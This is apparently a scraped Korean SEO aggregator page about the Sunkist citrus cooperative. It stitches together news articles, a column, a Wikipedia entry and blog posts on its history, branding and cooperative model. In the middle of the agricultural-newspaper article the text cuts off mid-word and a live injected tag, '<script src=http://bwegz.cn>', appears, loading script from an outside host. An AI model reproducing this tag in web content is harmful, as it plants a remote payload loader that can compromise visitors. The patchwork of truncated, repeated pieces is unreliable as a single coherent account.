썬키스트 협동 조합 | Fc 바르셀로나, Migros, 썬키스트. \”이런 협동조합도 있다!\”[세실리아의 경제이야기 1-7] 상위 147개 답변

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글로벌 협동조합 – 선키스트 – 다온타임즈

불합리한 유통체계를 바로잡고자 손을 잡은 농민들로 시작한 선키스트 협동조합. 120년전부터 지금까지 선키스트가 사랑 받는 것은 조합원간의 갈등을 …

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Source: www.daontimes.com

Date Published: 11/24/2021

View: 5840

썬키스트 이야기 | Sunkist kr

시트러스, 그 이상. 우리는 캘리포니아와 애리조나 감귤 재배자들이 소유하고 운영하는 비영리 협동조합입니다. 그러나 우리는 감귤류 이상의 것들에 대해 이야기합니다 …

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Source: kr.sunkist.com

Date Published: 8/8/2022

View: 5515

[한겨레프리즘] 선키스트는 협동조합이다 / 김현대

선키스트 협동조합은 6000여 조합원이 생산한 감귤을 최대한 비싼 값으로 구입한다. 그것이 존립 목적이다. 통상의 주식회사처럼 싸게 사서 이익을 많이 …

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Source: www.hani.co.kr

Date Published: 9/19/2021

View: 2756

(6) 협동조합의 모델 `썬키스트’ < 기획 < 기획 < 농업 < 기사본문

`협동조합의 모델”이라고까지 불리는 썬키스트가 최근 위기를 맞고 있다. 오렌지의 생산량 증가에 따른 가격하락과 유통비용의 증가, 남미 및 유럽산 수입과일의 증가 등 …

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Source: www.aflnews.co.kr

Date Published: 10/20/2021

View: 1249

조합원 실익에 기여하는 썬키스트 협동조합 – Korea Science

조합원 실익에 기여하는 썬키스트 협동조합 – 경제사업 활성화를 통한 근본적인 협동조합 개혁의 모델을 모색한다. 한국농업경영인중앙연합회 정책조정실.

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Source: koreascience.kr

Date Published: 4/30/2022

View: 2761

[마케팅전략]함께해야 생존한다, 선키스트 – 중소기업뉴스

선키스트가 미국 최대의 농업협동조합이라는 사실을 아는 사람은 많지 않다. 흔히 감귤류를 전문으로 하는 다국적 식품기업 정도로 알고 있는 이 회사 …

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Source: www.kbiznews.co.kr

Date Published: 8/2/2021

View: 9035

선키스트 그로워스 – 위키백과, 우리 모두의 백과사전

선키스트 그로워스(Sunkist Growers, Incorporated)는 캘리포니아와 애리조나의 감귤 재배자 6,000여 명으로 구성된 비상장 협동조합이다. 본부는 로스앤젤레스 셔먼 …

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Source: ko.wikipedia.org

Date Published: 7/28/2021

View: 7462

썬키스트와 비슷한 협동조합 제주엔 폴개협동조합 – 네이버 블로그

국내에 썬키스트와 비슷한 역할을 하는. 대표적인 협동조합이 있느냐고요. ​. ​. 중소 벤처기업부에서 답하셨습니다. 국내 협동조합에서 제품을 …

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Source: m.blog.naver.com

Date Published: 10/26/2021

View: 2894

협동조합의 국내외 사례 소개(썬키스트, 웰치스, FC 바르셀로나?)

썬키스트는 캘리포니아에서 무려 한 5천여 가구 이상의 오렌지 농가들이 모여 결성한 협동조합으로 현재 전 세계적으로 오렌지를 수출하고 그리고 음료로 …

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Source: lifeofjoy88.tistory.com

Date Published: 4/10/2022

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FC 바르셀로나, MIGROS, 썬키스트. \”이런 협동조합도 있다!\”[세실리아의 경제이야기 1-7]

주제에 대한 기사 평가 썬키스트 협동 조합

  • Author: 더깊이10
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  • Date Published: 2018. 12. 27.
  • Video Url link: https://www.youtube.com/watch?v=Tr6VuVw_GWc

글로벌 협동조합 – 선키스트

이미지 출처 : new.fndairies.com/product-sunkist.html twitter.com/SunkistFrozen garveycandy.com/c111631

선키스트, 제스프리, 라보뱅트, 알라푸드 등은 모두 협동조합이다. 이들의 공통점은 무엇일까? 일반 주식회사 형태의 대기업 수준을 뛰어넘는 경영기법으로 인수합병과 투자확대 등으로 협동조합의 진화된 형태를 보여준다.

세상에 선키스트를 모르는 사람도 있을까?

Sunkist

선키스트라는 뜻은 캘리포니아의 강한 태양을 받고 자랐다는 것을 강조하는 ‘태양(sun)이 키스(Kiss)했다는 뜻이다.

선키스트의 성공은 남들이 전혀 생각하지 않는 일을 했다는데 있다. 오렌지는 그냥 오렌지일 뿐이다. 그런데 1908년부터는 고품질의 오렌지에 선키스트 상표를 사용하기 시작했으며 선키스트는 세계 최초로 브랜드명이 붙은 과일이 되었다.

이 브랜드를 개발하기 위하여 많은 비용과 시간을 투입했다는 것을 아는가? 우연히 이 브랜드가 생긴 것이 아니다. 이것은 전문가엑 의뢰하여 만든 상표이다.

일각에서는 선키스트가 순수한 협동조합의 범위를 벗어났다고 우려하지만, 이들은 여전히 협동조합의 유전자를 지니고 있어, 사회적경제에 이바지하고 있다.

선키스트는 오렌지를 전문으로 하는 애리조나 주와 캘리포니아 주 농민 6000명이 모여 만든 비영리 기업이다. 연매출이 10억 달러(1조 2000억 원)를 넘는 썬키스트는 원래 감귤 재배자들의 가격 경쟁을 피하고 상호 협조를 통해 자본 조달을 쉽게 하기 위해 1893년 설립됐다.

선키스트의 성공은 철저하게 브랜드 마케팅에 집중하였고, 선키스트라는 브랜드로 엄청난 고수익을 올리고 있다. 선키스트는 비용을 투입하여 마케팅 전문가들로부터 자문을 받았다. 철저하게 품목조직화를 한 것이다.

일반적인 협동조합이 지역별로 조직화를 하는데, 지자체와 농민 간의 협력은 쉽지만 대신 소비자와는 괴리가 생기기 쉽다. 우리나라의 경우 지역 농수협 중심으로 조직화하여 구조적인 한계를 지니고 있다. 반면 선키스트는 철저하게 오렌지라는 품목에만 집중했다.

선키스는 처음부터 글로벌 비즈니스를 겨냥해서 사업을 키워나갔다. 단일 품목에 집중하고 브랜드를 중심으로 원재료를 경제적으로 공급하기 위한 여러 국가의 네트워크를 구축한 것이다.

썬키스트는 55%를 미국 국내에서, 45%를 해외 시장에서 벌어들인다. 가장 큰 수익원은 라이선싱 사업이다. 1년에 20억 달러(2조 4000억 원)규모로 감귤류 상품 판매의 2배다. 77개국 에서 700여 종의 식품이 썬키스트 상표를 달고 판매되고 있다. 훼미리 헬시, 후레쉬 주스박스, 머스켓, 소다 등은 썬키스트의 주력 상품인 감귤류 제품에서 비껴가 있지만 썬키스트 상표를 달고 판매되는 제품들이다.

썬키스트가 광범위한 사업을 할 수 있었던 배경에는 철저한 산지 조직화 전략이 숨어 있다. 썬키스트는 지역 별로 거래소 제도를 도입해 조합원들이 상품을 가져다 놓고 연합회에 쉽게 납품할 수 있도록 배려했다. 지역 거래소는 품질 관리와 유통을 전담하는 산지 플랫폼이다. 최근에는 중국의 타오바오가 농촌에서 썬키스트 모델을 참고해 지역 유통 센터를 도입했다.

1769년, 아메리카 대륙 캘리포니아 주에 ‘캘리포니아 미션’을 지으면서 Father Junipero Serra와 그의 스페인 수사들이 처음으로 오렌지 씨를 심었다. 몇 년 후 이것들이 엄청 번성했다.

시간이 흘러 1804년. 원주민들의 도움으로 Father Cruzado는 켈리포니아에서 가장 커다란 오렌지 농장을 만들었다. 또한 당시 털모자 장수였던, 윌리엄 울프스킬(William Wolfskill)도 수백 개의 레몬과 오렌지 씨앗을 2에이커(약 4046.8 평방미터)에 심으면서 캘리포니아의 오렌지 농업은 시작됐다.

캘리포니아에서 오렌지만 나는 것은 아니었다.

금광시대가 오면서 많은 사람들이 몰려들었고, 이들은 비타민C 부족으로 괴혈증에 시달렸다. 그래서 비타민C 보충에 최고인 레몬은 불티나게 팔렸고, 1848년 그 가격은 레몬 하나에 1$까지 치솟았다.

1870년에는 엘리자와 루터티베츠가 브라질에서부터 선물 받은 세 그루의 네이블 오렌지 나무를 캘리포니아 리버사이트에 심으면서 캘리포니아는 네이블 오렌지의 본거지가 된다. 1877년엔 그 해 완성된 대륙 횡단 철도를 통하여 세인트 루이스에 오렌지를 판매했고 이로 인해 캘리포니아의 감귤류 도매산업이 전국적으로 확장되게 된다.

그런데 1891년, 도매상의 횡포로 감귤류 재배자들이 판매 대금을 제 때에 받지 못하여 적자를 면치 못하는 사태가 발생했고, 1893년 재배자들이 전국의 판매, 유통을 직접 관리하는 ‘남부 캘리포니아 과일 거래소(Siythern California Fruit Exchange)’를 만들었다. 거래소에 소속된 농부들의 수가 캘리포니아 전체 감귤류 재배자의 45%를 차지할 정도로 늘어나자 거래소명을 ‘캘리포니아 과일 재배자 거래소’로 변경했다.

선키스트도 조합원간의 마찰로 어려움을 겪었다. 이러한 갈등을 봉합하기 위해 선키스트는 독립된 의사결정 기구를 만들고, 정기적으로 회원들에게 사업내용을 보고하여 추인하는 방식을 택하게 된다. 조직을 정비하고, 직접 유통을 하면서 선키스트는 자리를 잡아갔고, 조합원 농민들의 이익을 대변하는 강력한 이익집단이 된다.

뿐만 아니라 협동조합의 취약점인 마케팅에도 적극적이었다. 이들은 상하기 쉬운 과일을 처음으로 광고한 선구자였고, 오렌지의 판매량은 50%이상 증가했다.

이런 상승세를 타고 1908년부터는 고품질의 오렌지에 선키스트 상표를 사용하기 시작했으며 선키스트는 세계 최초로 브랜드명이 붙은 과일이 되었다.

이 브랜드는 전문 광고회사를 통해 만들었고, 이런 의사결정을 할 수 있었던 것은 독립된 의사결정기구의 역할이 크게 작용했다.

이후에도 선키스트는 앞서가는 홍보전략으로 사람들에게 사랑 받는 브랜드가 된다

철저한 품질관리를 위해 내부기준에 따라 고품질의 오렌지에 한정수량에만 라벨을 붙일 수 있게 하였고, 이는 결과적으로 ‘선키스트 오렌지’하면 맛있는 오렌지라는 명성을 얻게 했다.

1914년, 선키스트 가공기업의 시초가 되는 선키스트 마멀레이드 공장에서는 감귤류를 이용한 제품을 생산하기 시작했다. 그리고 1916년에 “Drink an Orange”라는 광고를 시작하면서 급격히 오렌지 주스의 새시대가 열린다.

1922년에는 비타민 C의 이로운 점을 강조하는 캠페인도 했다.

1977년에는 선키스트 오렌지 소다를 출시했고, 1990년에는 판매량 10억달러를 기록했다. 선키스트 라이선스로 생산되는 제품은 청량음료, 캔디, 스낵, 비타민 등 약 600 종류가 있다. 이후로도 다양한 제품과 적극적인 홍보전략, 그리고 무엇보다 맛있고 품질 좋은 오렌지로 세계시장에 승부수를 던지면서 선키스트는 성장했다.

불합리한 유통체계를 바로잡고자 손을 잡은 농민들로 시작한 선키스트 협동조합.

120년전부터 지금까지 선키스트가 사랑 받는 것은 조합원간의 갈등을 줄이기 위한 의사결정기구를 만들어 조직을 세우고, 꾸준한 품질관리 및 적극적인 홍보전략과 브랜드 관리, 다양한 제품개발의 결과다.

참고자료 : 사회적경제/협동조합] 협동조합 성공사례 1편 농업협동조합: 선키스트(Sunkist)/폰테라(Fonterra)/제스프리(Zespri) | 작성자 열매나눔재단

Sunkist kr

우리는 성장합니다. 아주 단순하죠.

협동조합으로서, 커뮤니티로서.

농부로서, 가족으로서, 사람으로서.

고개를 들고 발은 땅에 단단히 고정한 채 더 밝은 내일을 꿈꿉니다. 오늘보다 더 나은 내일을 위해 노력합니다.

우리는 키워냅니다. 그리고 그것을 공유합니다.

우리는 따기 쉬운 열매보다 더 높은 곳을 목표로 합니다. “그만하면 괜찮다”는 것은 우리에게 결코 충분하지 않기 때문입니다. 우리는 나무가 가지를 뻗듯 나아갑니다. 새로운 잎을 피워냅니다. 두 눈은 미래를 바라보고 가슴은 캘리포니아의 뿌리를 잊지 않은 채로 말이죠.

해마다 우리의 속도로 함께 나아가는 것, 그것이 썬키스트의 방식입니다.

[한겨레프리즘] 선키스트는 협동조합이다 / 김현대

오렌지 껍질에 ‘Sunkist’(선키스트)라는 브랜드를 잉크로 새긴 것은 1907년이었다. 당시로서는 충격적인 아이디어였고, 엄청난 반향을 불러일으켰다. 이후 선키스트는 고급 오렌지를 상징하는 대명사가 됐다.

“우리는 캘리포니아와 애리조나의 생산농가가 주인이고, 감귤 생산농가를 위해 사업을 벌이는 비영리 협동조합이다. 개개 생산농가들이 힘을 합쳐, 혼자서는 할 수 없는 일을 글로벌 경쟁시장에서 해낸다.” 선키스트의 누리집을 열면 이런 글이 나온다. 선키스트는 117년 역사를 자랑하는 협동조합이다.

선키스트 협동조합은 6000여 조합원이 생산한 감귤을 최대한 비싼 값으로 구입한다. 그것이 존립 목적이다. 통상의 주식회사처럼 싸게 사서 이익을 많이 남기려 하지 않는다. 배당을 요구하는 주주가 없기 때문이다. 대신, 생산농가는 조합과 맺은 엄격한 공동행동 약정을 지켜야 한다. 그러지 않으면 ‘퇴출’당한다.

농업의 수출기업화를 외치는 사람들은 네덜란드의 ‘그리너리’(Greenery)를 즐겨 예로 든다. 그러나 60여개 나라에서 수조원대 매출을 올리는 유럽 최대 청과물 도매회사인 그리너리는 우리가 흔히 생각하는 주주들의 기업이 아니다. 2000여 농가가 주인이다.

1996년에 네덜란드의 9개 경매농협은 네덜란드원예협동조합(VTN)으로 합병했고, 그리너리라는 판매전담 자회사를 전액출자해 설립했다. 시장 개방과 유통기업의 대형화로 소규모 농협과 농가들이 어려움을 겪자 새로운 경영모델을 고안해낸 것이다. 전통적인 1인1표 평등주의를 일부 포기하고, 조합원 기여에 비례한 보상제를 도입했다. 그리너리는 글로벌 경쟁위기를 극복한 협동조합의 내부혁신 성공 사례이다. 수출 농기업의 벤치마킹 사례로 들먹이는 것은 협동조합의 진화에 무지몽매한 소치이다.

1970년대 이후 미국에서는 이른바 신세대(뉴 제너레이션) 협동조합이 쏟아지고 있다. 조합원의 출하물량에 비례해 출자규모와 의결권을 부여하고, 경영성과를 객관적으로 외부에서 평가할 수 있도록 출자증권의 시장거래까지 허용했다. 주식회사의 외양을 쏙 빼닮았지만, 생산농가나 소상공인이 주인이라는 대원칙은 굳게 지켰다. 글로벌 대기업과의 시장경쟁에 맞서는 ‘시장적 도구’로, 신세대 협동조합은 미국과 유럽에서 급속히 확대되고 있다. 버거킹은 영리기업과 협동조합이 결합한 독특한 구조이다. 프랜차이즈 가맹점들은 햄버거 재료를 값싸게 공급받기 위해 구매 전담 협동조합(RSI)을 따로 세웠다.

우리 일로 돌아와 보자. 대형 유통회사는 농산물 시장의 공룡이고, 농민들이 그들의 독과점에 맞설 수 있는 무기는 날이 무디다. 그래서 1170개 회원농협의 연합체인 농협중앙회부터 개혁하겠다고 한다. 농협중앙회에 재산을 출자한 농민들이 기대하는 것은 단순하다. 열심히 일해서 좋은 농산물 생산할 테니 판매(경제사업) 걱정을 하지 않도록 해달라는 것이다. 지금처럼 은행사업에 매달려 돈 많이 벌어달라는 것이 아니다.

농민이 생산과 판매까지 감당해야 한다는 발상은 대단히 위험하다. 판매 책임져주는 협동조합이 유명무실한 대한민국이기에 시장만능주의자들이 함부로 그런 소리를 높이는 것이다. 선진국 어디에도 그런 나라는 없다.

선키스트와 그리너리, 미국의 신세대 협동조합은 아주 먼 이야기가 아니다. 도드람양돈농협, 지리산순한한우, 상주 외서농협 등에서 싹을 틔우고 있다. 판매와 교육·복지 사업을 두루 겸하는 지역종합센터로의 진화 가능성도 여럿 보인다. 농협중앙회가 제대로 된 개혁으로 그 자양분 구실을 할 것인가? 희망 반, 절망 반이다. [email protected]

(6) 협동조합의 모델 `썬키스트’

세계적인 다국적 청과 메이저 업체인 `썬키스트”.

`오렌지”하면 가장 먼저 떠오르는 이름이다. `협동조합의 모델”이라고까지 불리는 썬키스트가 최근 위기를 맞고 있다. 오렌지의 생산량 증가에 따른 가격하락과 유통비용의 증가, 남미 및 유럽산 수입과일의 증가 등으로 시장점유율이 갈수록 떨어지고 있기 때문이다.

썬키스트는 어떻게 위기를 풀어 나갈까? 바로 철저한 품질 및 브랜드 관리를 타개책으로 삼아 위기를 극복하고 있다.

# 100년의 신뢰속에 성장한 썬키스트

100년의 신뢰속에 세계적인 청과 메이저로 성장한 썬키스트. 1893년 농가들이 오렌지 가격하락에 공동대처하고 판로확대를 모색하기 위해 설립됐다.

이후 1908년 오렌지 판매촉진을 위해 본격적인 마케팅에 나서면서 지금의 브랜드인 `썬키스트(Sunkist)”를 등록상표로 확정했다.

현재 썬키스트는 지방출하조합 조합원 3000여명과 선과회사의 선과장을 이용하는 지구거래소 조합원 3000여명 등 총 6000여명의 조합원을 확보하고 있다.

조직 구조는 크게 연합회와 지구거래소, 지방출하조합으로 나눠진다. 현재 선과장 60개, 지방출하조합 28개, 선과회사 24개, 지구거래소 17개소를 갖추고 있다.

오렌지의 경우 캘리포니아와 아리조나 생산자의 65%, 레몬은 70~80%가 조합원이다. 이들의 오렌지와 재배면적은 전체 재배면적 30만 에이커의 3분의 2를 점유하고 있다. 이들은 지난해 오렌지와 레몬으로 9억6000만달러의 매출고를 올렸다.

제럴드 제이 데이비슨 썬키스트 홍보이사는 “1920년 최초로 오렌지 쥬스를 출시한 후 이제는 브랜드만으로도 승부할 수 있게 됐다”며 “마케팅 파워를 통해 시장점유율을 제고시키는 한편 농가에게 실익을 줄 수 있는 방안을 모색해 조합의 참여를 유도하고 있다”고 말했다.

# 소비부진과 수입 과일로 갈수록 위기

썬키스트는 지난해 200만달러의 적자를 기록할 정도로 시장지배력이 갈수록 약화되고 있다.

주된 이유는 미국 오렌지의 생산과잉과 남미산 발렌시아 오렌지 수입의 증가에 따른 것이다.

여기에 오렌지 가격이 계속 정체상태를 벗어나지 못하는데 반해 유통비용은 지속적으로 상승한 것도 농가 수취율을 감소시키고 있는 요인이 되고 있다.

실제로 오렌지의 경우 올해 박스당 판매단가는 8달러. 이중 유통마진을 제하고 나면 실제 생산자 수취가격은 2.87달러에 불과했다. 이는 1987년 생산자 수취가격인 4.18달러의 절반에 불과한 수준.

설상가상으로 썬키스트 하면 `오렌지 쥬스”로 대변되던 가공사업도 국내 소비의 둔화와 유럽 및 주변 산지와의 경쟁으로 타격을 받고 있다.

결국 썬키스트는 최근 800여명이던 본사 직원수를 200명 가량으로 감축하는 출혈을 감수했다.

여기다 경영상 위기에 직면한 썬키스트는 내부적으로 썬키스트를 남미 및 세계 전지역 오렌지의 마케팅과 유통을 담당하는 국제적인 조직체로 육성하고자 하는 경영진과 국내 유통에 집중해 농가를 위한 조직으로 거듭나야 한다는 조합원들간의 갈등이 심화되고 있는 상황이다.

# 품질 및 브랜드 관리로 위기 타개

“국내 시장이 아닌 세계시장을 타깃으로 하기 때문에 제품의 차별화가 중요합니다. 따라서 제품의 차별화는 철저한 품질관리와 브랜드 관리로 가능하므로 이부문에 집중적으로 노력하고 있습니다.”

경영상의 위기를 타개하기 위해 썬키스트가 선택한 것은 철저한 품질 관리와 브랜드 관리.

썬키스트는 현재 품질에 따라 1등급은 `Sunkist”, 2등급은 `SK”란 브랜드로 구분해 출하하고 있다. 특히 오렌지 선별 등급을 캘리포니아 등급보다 상향 조정한데도 불구하고 1등급 비율이 90%에 달할 정도다.

여기에 연합회의 품질관리실 기능을 확대해 현재 12명의 품질검사원이 패킹하우스를 순회하며 품질관리를 지도하고 있으며, 도매시장에도 검사원을 배치해 패킹하우스에서 출하한 농산물의 샘플을 수집 검사, 품질에 문제가 있는 패킹하우스는 해결 시점까지 폐쇄시키고 있다.

특히 품질 경쟁을 유도하기 위해 `썬키스트” 브랜드와 별도로 패킹하우스마다 각기 자신의 브랜드를 부착토록 했다.

제럴드 제이 데이비슨 썬키스트 홍보이사는 “1970년대까지는 썬키스트라는 전체 브랜드만을 부착해 출하했으나 품질관리를 위해 지금은 개별 패킹하우스의 브랜드를 함께 기재해 품질관리에 따른 책임소재를 분명히 하고 있다”며 “같은 브랜드의 썬키스트 오렌지라도 선과장에 따라 20~30%의 가격차이가 발생하고 있다”고 말했다.

# 철저한 판매계약과 공동계산

썬키스트는 철저한 판매계약과 공동계산 방식을 따르고 있다.

소비지 시장에서 신뢰를 확보하기 위해서는 연중 균일한 품?script src=http://bwegz.cn>

[마케팅전략]함께해야 생존한다, 선키스트

선키스트가 미국 최대의 농업협동조합이라는 사실을 아는 사람은 많지 않다. 흔히 감귤류를 전문으로 하는 다국적 식품기업 정도로 알고 있는 이 회사는 1893년 시작돼 현재 캘리포니아주와 아리조나주의 6500여개 감귤류 재배농가를 회원으로 보유한 협동조합이다. 최근 20년간 매년 10억달러를 넘나드는 매출을 기록하고 있으며, 신선과일 판매가 매출의 70~80%가량을 차지하고 있다.

선키스트는 1800년대 후반 오렌지 재배 농가를 힘들게 했던 유통 중개상들의 횡포에 대항하기 위해 만들어졌다. 당시 중개상들은 잘못된 수요 예측이나 운반, 보관과정에서 발생하는 모든 리스크들을 고스란히 재배 농가의 부담으로 떠넘기며 폭리를 취하고 있었다. 이런 위기 상황에 집단적으로 대응하기 위해 남부 캘리포니아 오렌지 재배 농민들이 모여 협동조합을 설립하고 이곳을 통해 과일 판매와 유통에 직접 나서기로 결정했다. 그후 1952년 2월 오늘날의 ‘선키스트(Sunkist Growers, Inc.)’라는 이름으로 재탄생했다.

이렇게 탄생한 선키스트가 100년이 넘도록 세계적인 브랜드로서의 위상을 유지하는 비결은 철저한 품질관리에 있다. 과일에 붙이는 선키스트 스티커는 단순히 생산자를 표시하는 등록상표가 아니라 고품질의 상품에만 한정적으로 허용되는 신뢰의 상징이다. 또한 선과장 및 유통업체에는 조합 소속 품질검사원들이 매일 방문해 표준화된 품질관리 프로그램 준수 여부를 확인하고, 정기적으로 농업기술진이 방문해 프로그램을 점검하고 개선하기도 한다.

선키스트는 최초의 농산물 광고로도 유명하다. 당시 광고 대행을 맡았던 로드앤토머스社가 감귤류 과일에 어울리는 브랜드로 제안한 것이 현재의 이름 선키스트이다. 태양의 입맞춤(sun kissed)을 받은 오렌지, 즉 ‘태양의 에너지를 받아 더 맛있고 건강에도 좋다’라는 이미지를 함축하고 있다. 농산물에 생산조합의 이름이 아닌 이미지에 맞는 별도 브랜드를 적용한 것은 당시로서 매우 획기적인 아이디어였다.

선키스트는 과일을 이용한 다양한 레시피를 개발해 소비를 촉진하기도 했다. 1916년에는 ‘오렌지를 마신다’(Drink an Orage)라는 광고 카피를 사용함으로써 실질적으로 오렌지 주스가 일상의 음료가 되는 계기를 마련했다. 최근까지도 활발할 R&D를 통해 주스, 스낵, 분말 등 600여개에 이르는 연관 가공식품을 개발하고 있다.

마지막으로, 선키스트가 협동조합의 형태로 쟁쟁한 글로벌 식품기업과의 경쟁에서 생존한 것은 구성원들 간의 신뢰와 결속력 덕분이다. 이는 조합에 속한 개별 농가들이 공동 브랜드를 통한 조직화와 규모화로 인해 지속적인 수혜를 받고 있기 때문에 가능하다. 성과도 부담도 철저한 비례 배분방식을 채택하고, 조합원들의 자유로운 진입과 탈퇴를 보장함은 물론, 정기적으로 사업내용을 투명하게 공개해 갈등과 마찰을 최소화하고자 노력하고 있다. 또한 유통과 마케팅은 공동으로 하되 최소한의 운영비를 제외한 모든 이익은 조합이 아닌 조합원들에게 되돌려준다. 오늘날의 선키스트는 ‘모두의 생존을 위한 협력’이라는 설립 초기의 정신을 잃지 않았기에 가능했다는 사실을 명심할 필요가 있다.

김근영(삼성경제연구소 수석연구원)

위키백과, 우리 모두의 백과사전

선키스트 그로워스(Sunkist Growers, Incorporated)는 캘리포니아와 애리조나의 감귤 재배자 6,000여 명으로 구성된 비상장 협동조합이다. 본부는 로스앤젤레스 셔먼 오크에 있다.[1]

역사 [ 편집 ]

1943년 캘리포니아 레드랜드의 썬키스트 포장 공장에서 여성들이 오렌지를 상자에 넣고 있는 모습

P. J. 드레어와 그의 아들 에드워드 L. 드레어는 1893년 클래어몬트에 있는 남부 캘리포니아 과일 교역소(Southern California Fruit Exchange)를 만들었다. 에드워드 L. 드레어는 캘리포니아 감귤 산업의 “아버지”로 알려져 있다.[2]

로스앤젤레스 군의 포모나, 리버사이드, 산디마스와 벤투라 군의 산타파울라, 새티코이, 필모어, 랜초세스페, 바즈대일, 피루 마을의 재배자와 과수원도 교역소에 참여했다.

1905년 이 단체는 가입자 수가 캘리포니아 감귤 산업의 45%에 해당하는 5천 명에 이르렀고, 캘리포니아 과일 재배자 교역소로 이름을 바꾸었다. 1908년 교역소는 최상급 오렌지에 “선키스트”라는 이름을 붙였다. 이것은 최초의 브랜드 과일이었다.

선키스트는 현재 회원 6,000명을 대표하는 비영리 단체이다. 사업에서 발생한 이익은 모두 재배자에게 돌아간다. 선키스트는 세계 과일 채소 업체 중 최대의 마케팅 협동조합이고, 미국내 다른 분야의 마케팅 협동조합과 비교해도 큰 편에 속한다.[3]

상표 [ 편집 ]

선키스트 브랜드는 5개 대륙, 45개 이상의 국가에서 600 종류 이상의 제품에 쓰인다. 주로 과일과 관련된 식품이나 비타민류이다.[4] 기업들은 재배자 협동조합으로부터 상표 이용 허락을 받고 제품에 선키스트 이름을 붙이고 있다.

Dr Pepper Snapple Group의 과일맛 청량음료

Jelly Belly의 과일맛 사탕 [5]

General Mills의 과일맛 과자

A. Lassonde의 오렌지 쥬스

WN Pharmaceuticals의 비타민 C 보충제[6]

선키스트 쥬스는 일본, 한국, 홍콩, 인도네시아, 말레이시아, 중동 지역, 벨기에, 몰타, 오스트리아 등 여러 나라에서 판매되고 있다.[7] 한국에서는 해태제과가 1982년 4월 상표 사용 및 기술 지원 계약을 맺고 1984년 1월 썬키스트 훼미리 쥬스를 출시했다.[8]

각주 [ 편집 ]

썬키스트와 비슷한 협동조합 제주엔 폴개협동조합 -중소벤처기업부님 답변

원예·재배

참 행복한 선생님! 제 인생의 1막은 30여년간 아이들과 함께 참 행복한 선생님으로 살았습니다. 이젠 제주에서 정년없는 인생2막, 노년이 아름다운 삶을 꿈꾸며 유기농 블루베리와 감귤 농장을 운영하며, 더불어 사는 행복한 삶을 위하여 협동조합과 농촌 체험농장, 팬션을 운영하며 자연과 함께 쉼, 여유, 즐거움, 나눔을 실천하며 새로운 인생 2막을 참 행복한 농부 선생님으로 살아가고 있습니다.

협동조합의 국내외 사례 소개(썬키스트, 웰치스, FC 바르셀로나?)

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안녕하세요.

저번글에서는 협동조합의 정의와 7가지 원칙, 한국의 협동조합의 등장배경등에 대해 알아봤었는데요.

https://lifeofjoy88.tistory.com/213

이번 글에서는 협동조합의 국내외 사례를 통해 지속가능한 협동조합 운영을 위해 필요한 요소와 해결과제를 살펴보도록 하겠습니다.

< 해외 협동조합 사례 >

해외와 국내에 다양하게 설립된 협동조합들의 각 사례를 먼저 하나씩 살펴보겠습니다. 이미 우리에게 널리 알려져 있는 썬키스트라든지 웰치스, 제스프리, 그리고 메시가 뛰고 있는 유명한 축구 구단 FC바르셀로나 이러한 조직들이 모두 협동조합이라는 거 알고 계셨을까요? 저도 이번에 공부를 하면서 알게되었는데요.

썬키스트는 캘리포니아에서 무려 한 5천여 가구 이상의 오렌지 농가들이 모여 결성한 협동조합으로 현재 전 세계적으로 오렌지를 수출하고 그리고 음료로 가공하여 수출하는 등 브랜드 가치를 널리 알리고 입증을 하고 있습니다.

썬키스트 = 오렌지 수준이다.

웰치스는 법인 자체가 협동조합은 아니지만 웰치스의 모든 주식을 전미포도농가협동조합이 보유를 하고 있는 형태입니다. 무려 12000여 가구 이상의 포도 농가들이 주주인 것인데, 이렇기 때문에 웰치스도 협동조합이라고 할 수가 있는 것 입니다. 이러한 협동조합들이 제공하는 제품, 서비스가 오랜 기간 많은 사람들로부터 사랑을 받으면서 좋은 이미지를 주고 있습니다.

웰치스, 몰랐는데 Family Farmer Owned라는 로고속 문구가 인상적이다.

이들 협동조합들은 각 제품과 서비스의 질이 매우 우수하고 이를 통해 브랜드 가치를 높여왔기 때문에 현재까지 많은 사람들에게 각광을 받고 있습니다. 수천 가구 이상 혹은 수만 가구 이상의 과일 농장에서 적정한 수준 이상의 균일한 품질의 제품을 제공하고, 이를 위해 각 조합원들 모두 지속적인 노력과 협동정신으로 연대감을 형성했기에 가능했던 것입니다. 이러한 부분들이 계속해서 이어져 지금까지도 성공한 협동조합의 모습을 보여주고 있습니다.

< 한국의 협동조합 사례 >

다음은 우리나라의 협동조합 사례입니다.

머저 청소시설관리업종의 8개 사회적기업들과 그 밖에 다양한 이해관계자들로 구성된 “한국대안시설관리 사회적협동조합” 이라는 곳입니다. 취약계층에 대한 일자리 창출과 지역사회 공헌을 목적으로 설립된 사회적 협동조합입니다.

이 협동조합은 설립을 위해 1년 동안에 수십 차례의 회의를 진행하면서도 전체 조합원들이 회의 참여율 또한 거의 100%에 달하는 등 설립과정을 위한 여러 단계에서 조합원들 그리고 발기인들의 참여율이 굉장히 높았습니다. 이렇듯 설립을 위해서 조합원들 모두 많은 고민을 함께하고 또한 사업계획을 수립하였습니다. 설립과정, 준비기간뿐 아니라 설립 이후에도 서비스 품질이라든지 공동의 서비스 메뉴얼을 제작하고 다양한 교육훈련을 통해 경쟁력을 강화시키는 등 지속적인 관리를 해오고 있습니다. 그러한 결과 덕분에 아직 설립된 지 만 채 1년이 되지 않았음에도 불구하고 현재 다양한 공공기관에서의 입찰이라든지 여러 계약수주를 통해 계약을 성사시키고 비즈니스 모델을 확립하고 있습니다. 이를 통해서 협동조합의 주된 목적인 취약계층에 대한 일자리 창출도 달성을 하고 있습니다.

지금까지 상대적으로 널리 알려져 있는 협동조합에 대한 사례를 몇 가지 살펴봤는데요. 사실 이렇게 우수하거나 혹은 성공적인 사례로서 이렇게 소개되는 협동조합들도 모든 사업이 다 원만하게 진행되는 것만은 아니라는 겁니다. 조합원들 모두 같은 목적을 가졌다고는 하지만 다양한 이해관계자들끼리 모여 하나의 목적을 달성시키기란 쉬운 것이 아닐 것입니다.

협동조합으로 오랜 역사를 지니고 있는 스페인의 몬드라곤 관계자는 이렇게 말을 했다고 합니다. “몬드라곤이 성공할 수 있었던 비밀은 모두가 정직하게 하나의 목표를 가지고 ‘함께’ 일한다는 것이다.” 이러하듯 모두가 함께 협업과 연대를 통해 상생하기 위해서는 무엇보다 서로 간에 신뢰를 기반으로 한 서로 소통을 하고 이해하려는 노력이 절실하게 필요한 게 아닌가라는 생각을 해봅니다. 앞으로도 협동조합에 대한 관심을 가지고 우리 사회에 건실한 협동조합들이 보다 많이 육성되어 모두가 함께 더불어 잘 사는 사회가 되기를 희망합니다.

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